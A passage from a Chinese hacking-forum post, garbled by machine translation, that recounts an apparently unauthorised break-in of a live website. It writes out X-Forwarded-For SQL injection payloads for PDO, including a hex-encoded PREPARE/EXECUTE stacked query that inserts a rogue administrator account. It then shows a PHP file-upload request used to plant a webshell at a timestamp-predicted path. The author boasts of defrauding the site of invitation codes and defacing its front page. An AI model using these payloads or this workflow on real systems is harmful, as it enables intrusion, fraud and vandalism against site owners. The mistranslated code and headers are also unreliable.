但是很高兴ip未做任何处理我们可以通过参数构造XFF头来实现澳大利亚注入
有csrf_token的验证我们必须在订单的页面上随便输入一个订单号
然后输入正确的验证码然后查询才有效
手动构造XFF头针对PDO的注入注入
因为PDO双引号进行结束且无回显的处处
所以构造有效载荷为
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">X-FORWARDED-For:1';选择睡眠(5)#</font></font>
复制代码

880.png

迟了5秒注入注入。
目标没有回显的目标注入盲注太慢 用Dnslog OOB又太慢 所以选择构造
一个添加后台管理员的注入峡谷
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">X-FORWARDED-For:1“;插入到t_admin_user值(99,"test@test.test","76b </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">1807fc1c914f15588520b0833fbc3","78e055",0);</font></font>
复制代码

但是现实是很奇妙的发现测试在FF头中1”将继续之后结果认为只要出现了或者引用触发导致可能触发SQL语句执行
但是有审计经验的兄弟一定会知道PDO下准备的声明给我们了一定的绕过过滤进行注入的沃土
山水复疑无路柳暗花明又一村

5.3 Prepare Statement构造注入注入

知识补充--- Prepare Statement写法
MySQL官方将准备执行开始分配统备准备声明(准备)
预制语句的SQL语法基于三个SQL语句:
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">从 preparable_stmt 准备 stmt_name;</font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">执行 stmt_name [使用 @var_name [, @var_name] ...]; </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">{解除分配| </font><font style="vertical-align: inherit;">drop} 准备 stmt_name;</font></font>
复制代码

献上MYSQL中两个简单的demo
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">set@a="select user()";PREPARE a FROM @a;execute a;select sleep(3);# </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#   </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">/ /73656C65637420757365722829为select user() 16个编码编码后的字符串前面还有一个上0x声明</font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">这是16个编码</font></font>
复制代码

准备语句在SQL 注入王国末日了非常大的作用但是对于SQL 注入攻击同时也提供了新的手段。
准备语句最大的特点就是可以将16 个输入串转为语句并执行字符串。如果发现了一个注可以
入的场景但过滤非常谨慎便使用准备我们进行攻击。

将我们的插入语句直接十六进制编码

799.png

建设注入建设
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">X-转发-对于:1" ;组@ A = 0x696E7365727420696E746F20745F61646D696E5F75736572207 </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">6616C7565732839392C227465737440746573742E74657374222C223736623138303766633163 </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">393134663135353838353230623038333366626333222C22373865303535222C30293B; PREPAR </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">E中的FROM @a;执行;选择睡眠(3);#</font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">//睡眠用于判断注入是否成功</font></font>
复制代码

798.png

数学3s注入成功添加了一个账号test@test.test密码为123456的后台
默认直接后台路径/管理员登录后台

797.png

前台提交一个社区邀请码的订单
后台修改订单状态为确认付款

796.png

没过一会邀请码直接到邮箱

69.png

以后可以搜片

68.png
66.jpg

5.4 不讲武德被发现

在不武德连续薅了几个邀请码朋友后
站长终于发现了

62.png

八嘎既然发现了那就干脆把你的站日下来吧然后好好擦屁股免得0day这站长抓走

61.jpg

5.5后台获取壳审计

经测后台的文件上传处鉴权比较好不能直接前台
后台文件上传处没有对文件扩展名进行任何过滤后台
研究发现所以得到壳直接白给

60.png

文件上传后不会返回上传路径 上传路径和上传文件的本土化我们已经了如指掌

29.png

UPLOAD_PATH定义如下
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">定义('UPLOAD_PATH',APP_PATH。'/public/res/upload/');</font></font>
复制代码

CUR_DATE定义如下
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">定义('CUR_DATE',日期('Ym-d'));</font></font>
复制代码

文件名
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">$filename=date("他的"); </font><font style="vertical-align: inherit;">//小时+分钟+秒</font></font>
复制代码

以我现在21点05分钟为例如下输出结果

28.png

2021年5月26日的21点05分44秒以例子
完整的文件路径即为
http://www.xxx.com/res/upload/2021-05-26/210444.php

直接构造表单
  1. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><meta charset="utf-8"> </font></font>
  2. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><form action="http://xxx.top/Admin/products/imgurlajax" method="post" </font></font>
  3. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">enctype="multipart/form-data"> </font></font>
  4. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    <label for="file ">文件:</label> </font></font>
  5. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    <input type="file" name="file" id="file" /> </font></font>
  6. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    <input type="text" name="pid" id="pid" /> <--! </font><font style="vertical-align: inherit;">pid记得自己修改为商品的id </font></font>
  7. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">(后台选择商品抓包抓取获取)--></--!> </font></font>
  8. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    <input type="submit" value="Upload" /> </font></font>
  9. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"></form></font></font>
复制代码

同时需要添加Referer: httpxxx.top/Admin/products/im
gurl/?id=1并修改底部的页面,
否则会提示请选择商品id
完整的最终上传http请求如下
  1. POST http://xxx.top/Admin/products/imgurlajax HTTP/1.1
  2. Host: xxxx
  3. Content-Length: 291
  4. Accept: application/json, text/javascript, */*; q=0.01
  5. DNT: 1
  6. X-Requested-With: XMLHttpRequest
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  8. (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
  9. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0eb
  10. Origin: http://47.105.132.207
  11. Referer: http://xxx.top/Admin/products/imgurl/?id=12
  12. Accept-Encoding: gzip, deflate
  13. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  14. Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaq
  15. Connection: close
  16. ------WebKitFormBoundaryeSrhtSPGxub0H0eb
  17. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">内容配置:表单数据;</font><font style="vertical-align: inherit;">名称=“文件”;</font><font style="vertical-align: inherit;">filename="test.php" </font></font>
  18. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">Content-Type: image/png </font></font>
  19. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><?php </font></font>
  20. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    phpinfo(); </font></font>
  21. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">------WebKitFormBoundaryeSrhtSPGxub0H0eb</font></font>
  22. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">内容配置:表单数据;</font><font style="vertical-align: inherit;">name="pid" </font></font>
  23. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">12 </font></font>
  24. <font style="vertical-align: inherit;"><font style="vertical-align: inherit;">------WebKitFormBoundaryeSrhtSPGxub0H0eb--</font></font>
复制代码

直接上传成功
欢迎通过burpsuite Intruder来跑一下最后的
秒数不能拿捏的那个配方

26.png
22.png

直接拿捏
把。把网页清理掉
然后给公共索引页面加点乐子

21.png

传统点到为止。

0x06 总结

本文主要通过了PDO外部SQL注入的介绍和PDO中的注入思路方法并给大家带来了10天
实例你的层层发现抽丝剥茧研究一个方法 说明一下的深度实战中是可以的。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.